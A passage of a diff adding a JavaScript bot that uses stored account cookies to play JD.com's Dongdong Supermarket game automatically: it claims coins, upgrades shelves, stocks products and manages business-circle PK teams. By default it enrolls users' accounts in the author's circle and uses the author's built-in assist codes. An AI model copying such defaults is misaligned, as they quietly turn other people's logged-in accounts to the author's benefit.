businessCircleIndexRes.data; + const { pkPrizeStatus, pkStatus } = result; + if (pkPrizeStatus === 2) { + console.log(`开始领取商圈PK奖励`); + const getPkPrizeRes = await smtg_getPkPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) + if (getPkPrizeRes.data.bizCode === 0) { + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; + message += `【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + } + } + console.log(`我方商圈人气值/对方商圈人气值:${businessCircleVO.hotPoint}/${otherBusinessCircleVO.hotPoint}`); + console.log(`我方商圈成员数量/对方商圈成员数量:${businessCircleVO.memberCount}/${otherBusinessCircleVO.memberCount}`); + message += `【我方商圈】${businessCircleVO.memberCount}/${businessCircleVO.hotPoint}\n`; + message += `【对方商圈】${otherBusinessCircleVO.memberCount}/${otherBusinessCircleVO.hotPoint}\n`; + // message += `【我方商圈人气值】${businessCircleVO.hotPoint}\n`; + // message += `【对方商圈人气值】${otherBusinessCircleVO.hotPoint}\n`; + businessCircleJump = $.getdata('jdBusinessCircleJump') ? $.getdata('jdBusinessCircleJump') : businessCircleJump; + if ($.isNode() && process.env.jdBusinessCircleJump) { + businessCircleJump = process.env.jdBusinessCircleJump; + } + if (`${businessCircleJump}` === 'false') { + console.log(`\n小于对方300热力值自动更换商圈队伍: 您设置的是禁止自动更换商圈队伍\n`); + return + } + if (otherBusinessCircleVO.hotPoint - businessCircleVO.hotPoint > 300 && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000))) { + //退出该商圈 + if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; + console.log(`商圈PK已过1天,对方商圈人气值还大于我方商圈人气值300,退出该商圈重新加入`); + await smtg_quitBusinessCircle(); + } else if (otherBusinessCircleVO.hotPoint > businessCircleVO.hotPoint && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000 * 2))) { + //退出该商圈 + if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; + console.log(`商圈PK已过2天,对方商圈人气值还大于我方商圈人气值,退出该商圈重新加入`); + await smtg_quitBusinessCircle(); + } + } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 222) { + console.log(`${businessCirclePKDetailRes.data.bizMsg}`); + console.log(`开始领取商圈PK奖励`); + const getPkPrizeRes = await smtg_getPkPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) + if (getPkPrizeRes && getPkPrizeRes.data.bizCode === 0) { + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; + $.msg($.name, '', `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + } + } + } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 206) { + console.log(`您暂未加入商圈,现在给您加入作者的商圈`); + const joinBusinessCircleRes = await smtg_joinBusinessCircle(myCircleId); + console.log(`参加商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) + if (joinBusinessCircleRes.data.bizCode !== 0) { + console.log(`您加入作者的商圈失败,现在给您随机加入一个商圈`); + const BusinessCircleList = await smtg_getBusinessCircleList(); + if (BusinessCircleList.data.bizCode === 0) { + const { businessCircleVOList } = BusinessCircleList.data.result; + const { circleId } = businessCircleVOList[randomNumber(0, businessCircleVOList.length)]; + const joinBusinessCircleRes = await smtg_joinBusinessCircle(circleId); + console.log(`随机加入商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) + } + } + } else { + console.log(`访问商圈详情失败:${JSON.stringify(businessCirclePKDetailRes)}`); + } +} +//我的货架 +async function myProductList() { + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + console.log(`\n货架数量:${shelfList && shelfList.length}`) + for (let item of shelfList) { + console.log(`\nshelfId/name : ${item.shelfId}/${item.name}`); + console.log(`货架等级 level ${item.level}/${item.maxLevel}`); + console.log(`上架状态 groundStatus ${item.groundStatus}`); + console.log(`解锁状态 unlockStatus ${item.unlockStatus}`); + console.log(`升级状态 upgradeStatus ${item.upgradeStatus}`); + if (item.unlockStatus === 0) { + console.log(`${item.name}不可解锁`) + } else if (item.unlockStatus === 1) { + console.log(`${item.name}可解锁`); + await smtg_unlockShelf(item.shelfId); + } else if (item.unlockStatus === 2) { + console.log(`${item.name}已经解锁`) + } + if (item.groundStatus === 1) { + console.log(`${item.name}可上架`); + const productListRes = await smtg_shelfProductList(item.shelfId); + if (productListRes.data.bizCode === 0) { + const { productList } = productListRes.data.result; + if (productList && productList.length > 0) { + // 此处限时商品未分配才会出现 + let limitTimeProduct = []; + for (let item of productList) { + if (item.productType === 2) { + limitTimeProduct.push(item); + } + } + if (limitTimeProduct && limitTimeProduct.length > 0) { + //上架限时商品 + await smtg_ground(limitTimeProduct[0].productId, item.shelfId); + } else { + await smtg_ground(productList[productList.length - 1].productId, item.shelfId); + } + } else { + console.log("无可上架产品"); + await unlockProductByCategory(item.shelfId.split('-')[item.shelfId.split('-').length - 1]) + } + } + } else if (item.groundStatus === 2 || item.groundStatus === 3) { + if (item.productInfo.productType === 2) { + console.log(`[${item.name}][限时商品]`) + } else if (item.productInfo.productType === 1){ + console.log(`[${item.name}]`) + } else { + console.log(`[${item.name}][productType:${item.productInfo.productType}]`) + } + } + } + } +} +//根据类型解锁一个商品,货架可上架商品时调用 +async function unlockProductByCategory(category) { + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + let productListByCategory = []; + const { productList } = smtgProductListRes.data.result; + for (let item of productList) { + if (item['unlockStatus'] === 1 && item['shelfCategory'].toString() === category) { + productListByCategory.push(item); + } + } + if (productListByCategory && productListByCategory.length > 0) { + console.log(`待解锁的商品数量:${productListByCategory.length}`); + await smtg_unlockProduct(productListByCategory[productListByCategory.length - 1]['productId']); + } else { + console.log("该类型商品暂时无法解锁"); + } + } +} +//升级货架和商品 +async function upgrade() { + superMarketUpgrade = $.getdata('jdSuperMarketUpgrade') ? $.getdata('jdSuperMarketUpgrade') : superMarketUpgrade; + if ($.isNode() && process.env.SUPERMARKET_UPGRADE) { + superMarketUpgrade = process.env.SUPERMARKET_UPGRADE; + } + if (`${superMarketUpgrade}` === 'false') { + console.log(`\n自动升级: 您设置的是关闭自动升级\n`); + return + } + console.log(`\n*************开始检测升级商品,如遇到商品能解锁,则优先解锁***********`) + console.log('目前没有平稳升级,只取倒数几个商品进行升级,普通货架取倒数4个商品,冰柜货架取倒数3个商品,水果货架取倒数2个商品') + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + let productType1 = [], shelfCategory_1 = [], shelfCategory_2 = [], shelfCategory_3 = []; + const { productList } = smtgProductListRes.data.result; + for (let item of productList) { + if (item['productType'] === 1) { + productType1.push(item); + } + } + for (let item2 of productType1) { + if (item2['shelfCategory'] === 1) { + shelfCategory_1.push(item2); + } + if (item2['shelfCategory'] === 2) { + shelfCategory_2.push(item2); + } + if (item2['shelfCategory'] === 3) { + shelfCategory_3.push(item2); + } + } + shelfCategory_1 = shelfCategory_1.slice(-4); + shelfCategory_2 = shelfCategory_2.slice(-3); + shelfCategory_3 = shelfCategory_3.slice(-2); + const shelfCategorys = shelfCategory_1.concat(shelfCategory_2).concat(shelfCategory_3); + console.log(`\n商品名称 归属货架 目前等级 解锁状态 可升级状态`) + for (let item of shelfCategorys) { + console.log(` ${item["name"].length<3?item["name"]+`\xa0`:item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架':'未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"]+'级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级':item["upgradeStatus"]}`) + } + shelfCategorys.sort(sortSyData); + for (let item of shelfCategorys) { + if (item['unlockStatus'] === 1) { + console.log(`\n开始解锁商品:${item['name']}`) + await smtg_unlockProduct(item['productId']); + break; + } + if (item['upgradeStatus'] === 1) { + console.log(`\n开始升级商品:${item['name']}`) + await smtg_upgradeProduct(item['productId']); + break; + } + } + } + console.log('\n**********开始检查能否升级货架***********'); + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + let shelfList_upgrade = []; + for (let item of shelfList) { + if (item['upgradeStatus'] === 1) { + shelfList_upgrade.push(item); + } + } + console.log(`待升级货架数量${shelfList_upgrade.length}个`); + if (shelfList_upgrade && shelfList_upgrade.length > 0) { + shelfList_upgrade.sort(sortSyData); + console.log("\n可升级货架名 等级 升级所需金币"); + for (let item of shelfList_upgrade) { + console.log(` [${item["name"]}] ${item["level"]}/${item["maxLevel"]} ${item["upgradeCostGold"]}`); + } + console.log(`开始升级[${shelfList_upgrade[0].name}]货架,当前等级${shelfList_upgrade[0].level},所需金币${shelfList_upgrade[0].upgradeCostGold}\n`); + await smtg_upgradeShelf(shelfList_upgrade[0].shelfId); + } + } +} +async function manageProduct() { + console.log(`安排上货(单价最大商品)`); + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + console.log(`我的货架数量:${shelfList && shelfList.length}`); + let shelfListUnlock = [];//可以上架的货架 + for (let item of shelfList) { + if (item['groundStatus'] === 1 || item['groundStatus'] === 2) { + shelfListUnlock.push(item); + } + } + for (let item of shelfListUnlock) { + const productListRes = await smtg_shelfProductList(item.shelfId);//查询该货架可以上架的商品 + if (productListRes.data.bizCode === 0) { + const { productList } = productListRes.data.result; + let productNow = [], productList2 = []; + for (let item1 of productList) { + if (item1['groundStatus'] === 2) { + productNow.push(item1); + } + if (item1['productType'] === 1) { + productList2.push(item1); + } + } + // console.log(`productNow${JSON.stringify(productNow)}`) + // console.log(`productList2${JSON.stringify(productList2)}`) + if (productList2 && productList2.length > 0) { + productList2.sort(sortTotalPriceGold); + // console.log(productList2) + if (productNow && productNow.length > 0) { + if (productList2.slice(-1)[0]['productId'] === productNow[0]['productId']) { + console.log(`货架[${item.shelfId}]${productNow[0]['name']}已上架\n`) + continue; + } + } + await smtg_ground(productList2.slice(-1)[0]['productId'], item['shelfId']) + } + } + } + } +} +async function limitTimeProduct() { + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + const { productList } = smtgProductListRes.data.result; + let productList2 = []; + for (let item of productList) { + if (item['productType'] === 2 && item['groundStatus'] === 1) { + //未上架并且限时商品 + console.log(`出现限时商品[${item.name}]`) + productList2.push(item); + } + } + if (productList2 && productList2.length > 0) { + for (let item2 of productList2) { + const { shelfCategory } = item2; + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + let shelfList2 = []; + for (let item3 of shelfList) { + if (item3['shelfCategory'] === shelfCategory && (item3['groundStatus'] === 1 || item3['groundStatus'] === 2)) { + shelfList2.push(item3['shelfId']); + } + } + if (shelfList2 && shelfList2.length > 0) { + const groundRes = await smtg_ground(item2['productId'], shelfList2.slice(-1)[0]); + if (groundRes.data.bizCode === 0) { + console.log(`限时商品上架成功`); + message += `【限时商品】上架成功\n`; + } + } + } + } + } else { + console.log(`限时商品已经上架或暂无限时商品`); + } + } +} +//领取店铺升级的蓝币奖励 +async function receiveUserUpgradeBlue() { + $.receiveUserUpgradeBlue = 0; + if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) { + for (let item of $.userUpgradeBlueVos) { + const receiveCoin = await smtgReceiveCoin({ "id": item.id, "type": 5 }) + // $.log(`\n${JSON.stringify(receiveCoin)}`) + if (receiveCoin && receiveCoin.data['bizCode'] === 0) { + $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue'] + } + } + $.log(`店铺升级奖励获取:${$.receiveUserUpgradeBlue}蓝币\n`) + } + const res = await smtgReceiveCoin({"type": 4, "channel": "18"}) + // $.log(`${JSON.stringify(res)}\n`) + if (res && res.data['bizCode'] === 0) { + console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`); + } +} +async function Home() { + const homeRes = await smtgHome(); + if (homeRes && homeRes.data['bizCode'] === 0) { + const { result } = homeRes.data; + const { shopName, totalBlue } = result; + subTitle = shopName; + message += `【总蓝币】${totalBlue}个\n`; + } +} +//=============================================脚本使用到的京东API===================================== + +//===新版本 + +//查询有哪些货架 +function smtg_shopIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shopIndex', { "channel": 1 }), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + const { shopId, shelfList, merchandiseList, level } = data.data['result']; + message += `【店铺等级】${level}\n`; + if (shelfList && shelfList.length > 0) { + for (let item of shelfList) { + //status: 2可解锁,1可升级,-1不可解锁 + if (item['status'] === 2) { + $.log(`${item['name']}可解锁\n`) + await smtg_shelfUnlock({ shopId, "shelfId": item['id'], "channel": 1 }) + } else if (item['status'] === 1) { + $.log(`${item['name']}可升级\n`) + await smtg_shelfUpgrade({ shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1 }); + } else if (item['status'] === -1) { + $.log(`[${item['name']}] 未解锁`) + } else if (item['status'] === 0) { + $.log(`[${item['name']}] 已解锁,当前等级:${item['level']}级`) + } else { + $.log(`未知店铺状态(status):${item['status']}\n`) + } + } + } + if (data.data['result']['forSaleMerchandise']) { + $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`) + } else { + if (merchandiseList && merchandiseList.length > 0) { + for (let item of merchandiseList) { + console.log(`发现限时商品${item.name}\n`); + await smtg_sellMerchandise({"shopId": shopId,"merchandiseId": item['id'],"channel":"18"}) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁店铺 +function smtg_shelfUnlock(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUnlock', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`解锁店铺结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_shelfUpgrade(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`店铺升级结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//售卖限时商品API +function smtg_sellMerchandise(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sellMerchandise', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`限时商品售卖结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版东东超市 +function updatePkActivityId(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateTeam.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updatePkActivityIdCDN(url) { + return new Promise(async resolve => { + const headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + $.get({ url, headers, timeout: 10000, }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} +function smtgDoShopTask(taskId, itemId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId, + "channel": "18" + } + if (itemId) { + body.itemId = itemId; + } + $.get(taskUrl('smtg_doShopTask', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgObtainShopTaskPrize(taskId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId + } + $.get(taskUrl('smtg_obtainShopTaskPrize', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgQueryShopTask() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgSignList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_signList', { "channel": "18" }), (err, resp, data) => { + try { + // console.log('ddd----ddd', data) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询商圈任务列表 +function smtgQueryPkTask() { + return new Promise( (resolve) => { + $.get(taskUrl('smtg_queryPkTask'), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.bizCode === 0) { + const { taskList } = data.data.result; + console.log(`\n 商圈任务 状态`) + for (let item of taskList) { + if (item.taskStatus === 1) { + if (item.prizeStatus === 1) { + //任务已做完,但未领取奖励, 现在为您领取奖励 + await smtgObtainPkTaskPrize(item.taskId); + } else if (item.prizeStatus === 0) { + console.log(`[${item.title}] 已做完 ${item.finishNum}/${item.targetNum}`); + } + } else { + console.log(`[${item.title}] 未做完 ${item.finishNum}/${item.targetNum}`) + if (item.content) { + const { itemId } = item.content[item.type]; + console.log('itemId', itemId) + await smtgDoPkTask(item.taskId, itemId); + } + } + } + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//PK邀请好友 +function smtgDoAssistPkTask(code) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_doAssistPkTask', {"inviteCode": code}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgReceiveCoin(body) { + $.goldCoinData = {}; + return new Promise((resolve) => { + $.get(taskUrl('smtg_receiveCoin', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取PK任务做完后的奖励 +function smtgObtainPkTaskPrize(taskId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_obtainPkTaskPrize', {"taskId": taskId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgDoPkTask(taskId, itemId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_doPkTask', {"taskId": taskId, "itemId": itemId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinPkTeam', { teamId, inviteCode, "channel": "3", sharePkActivityId }), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_getTeamPkDetailInfo() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_businessCirclePKDetail() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_getBusinessCircleList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//加入商圈API +function smtg_joinBusinessCircle(circleId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinBusinessCircle', { circleId }), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_businessCircleIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_receivedPkTeamPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取商圈PK奖励 +function smtg_getPkPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getPkPrize'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_quitBusinessCircle() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//我的货架 +function smtg_shelfList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//检查某个货架可以上架的商品列表 +function smtg_shelfProductList(shelfId) { + return new Promise((resolve) => { + console.log(`开始检查货架[${shelfId}] 可上架产品`) + $.get(taskUrl('smtg_shelfProductList', { shelfId }), (err, resp, data) => { + try { + // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//升级商品 +function smtg_upgradeProduct(productId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeProduct', { productId }), (err, resp, data) => { + try { + // console.log(`升级商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级商品结果\n${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁商品 +function smtg_unlockProduct(productId) { + return new Promise((resolve) => { + console.log(`开始解锁商品`) + $.get(taskUrl('smtg_unlockProduct', { productId }), (err, resp, data) => { + try { + // console.log(`解锁商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//升级货架 +function smtg_upgradeShelf(shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeShelf', { shelfId }), (err, resp, data) => { + try { + // console.log(`升级货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级货架结果\n${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁货架 +function smtg_unlockShelf(shelfId) { + return new Promise((resolve) => { + console.log(`开始解锁货架`) + $.get(taskUrl('smtg_unlockShelf', { shelfId }), (err, resp, data) => { + try { + // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_ground(productId, shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_ground', { productId, shelfId }), (err, resp, data) => { + try { + // console.log(`上架商品结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_productList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_productList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_lotteryIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_lotteryIndex', {"costType":1,"channel":1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_drawLottery() { + return new Promise(async (resolve) => { + await $.wait(1000); + $.get(taskUrl('smtg_drawLottery', {"costType":1,"channel":1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function sortSyData(a, b) { + return a['upgradeCostGold'] - b['upgradeCostGold'] +} +function sortTotalPriceGold(a, b) { + return a['previewTotalPriceGold'] - b['previewTotalPriceGold'] +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(resolve => { + console.log(`第${$.index}个京东账号的助力码:::${jdSuperMarketShareArr[$.index - 1]}`) + if (jdSuperMarketShareArr[$.index - 1]) { + newShareCodes = jdSuperMarketShareArr[$.index - 1].split('@'); + } else { + console.log(`由于您未提供与京京东账号相对应的shareCode,下面助力将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + console.log(`格式化后第${$.index}个京东账号的助力码${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + // console.log('\n开始获取东东超市配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) 